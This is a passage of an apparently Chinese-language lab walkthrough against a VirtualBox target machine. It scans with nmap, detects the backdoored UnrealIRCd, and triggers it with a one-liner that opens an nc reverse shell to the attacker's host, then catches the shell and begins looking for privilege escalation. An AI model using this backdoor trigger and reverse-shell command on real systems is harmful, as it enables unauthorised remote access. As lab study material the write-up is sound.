┌──(root㉿kali)-[/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 09:13 CST Nmap scan report for 192.168.2.1 Host is up (0.00034s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00085s latency). MAC Address: 08:00:27:48:64:28 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.37 Host is up (0.00078s latency). MAC Address: 08:00:27:2C:CF:5E (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.13 seconds
靶机IP:192.168.2.37
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root㉿kali)-[/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.37 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 09:13 CST Nmap scan report for 192.168.2.37 Host is up (0.0017s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6667/tcp open irc 6697/tcp open ircs-u 8067/tcp open infi-async MAC Address: 08:00:27:2C:CF:5E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 36.26 seconds
┌──(root㉿kali)-[/miaosec] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80,6667,6697,8067 192.168.2.37 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 09:14 CST Nmap scan report for 192.168.2.37 Host is up (0.00094s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 db:28:2b:ab:63:2a:0e:d5:ea:18:8d:2f:6d:8c:45:2d (RSA) | 256 cd:a1:c3:2e:20:f0:f3:f6:d3:9b:27:8e:9a:2d:26:11 (ECDSA) |_ 256 db:98:69:a5:8b:bd:05:86:16:3d:9c:8b:30:7b:a3:6c (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) 6667/tcp open irc UnrealIRCd (Admin email example@example.com) 6697/tcp open irc UnrealIRCd 8067/tcp open irc UnrealIRCd MAC Address: 08:00:27:2C:CF:5E (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds
3.udp扫描
1 2 3 4 5 6 7 8 9 10 11
┌──(root㉿kali)-[/miaosec] └─# nmap -sU --top-ports 100 192.168.2.37 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 09:15 CST Nmap scan report for 192.168.2.37 Host is up (0.00071s latency). Not shown: 99 closed udp ports (port-unreach) PORT STATE SERVICE 68/udp open|filtered dhcpc MAC Address: 08:00:27:2C:CF:5E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 102.93 seconds
┌──(root㉿kali)-[/miaosec] └─# nmap -p 6667,6697,8067 --script irc-unrealircd-backdoor 192.168.2.37 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 09:59 CST Nmap scan report for 192.168.2.37 Host is up (0.0010s latency).
PORT STATE SERVICE 6667/tcp open irc |_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again). 6697/tcp open ircs-u 8067/tcp open infi-async |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277 MAC Address: 08:00:27:2C:CF:5E (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 46.48 seconds
┌──(root㉿kali)-[/miaosec] └─# echo -e "AB; nc -e /bin/bash 192.168.2.4 4444" | nc 192.168.2.37 8067 :irc.foonet.com NOTICE AUTH :*** Looking up your hostname... :irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead :irc.foonet.com NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
获取到shell
1 2 3 4 5 6
┌──(root㉿kali)-[~] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.37] 41932 id uid=1000(server) gid=1000(server) groups=1000(server)
四、权限提升
查看到/opt下面存在文件task具有root权限
1 2
server@real:/opt$ ls -la -rwx---r-- 1 root root 277 May 3 2023 task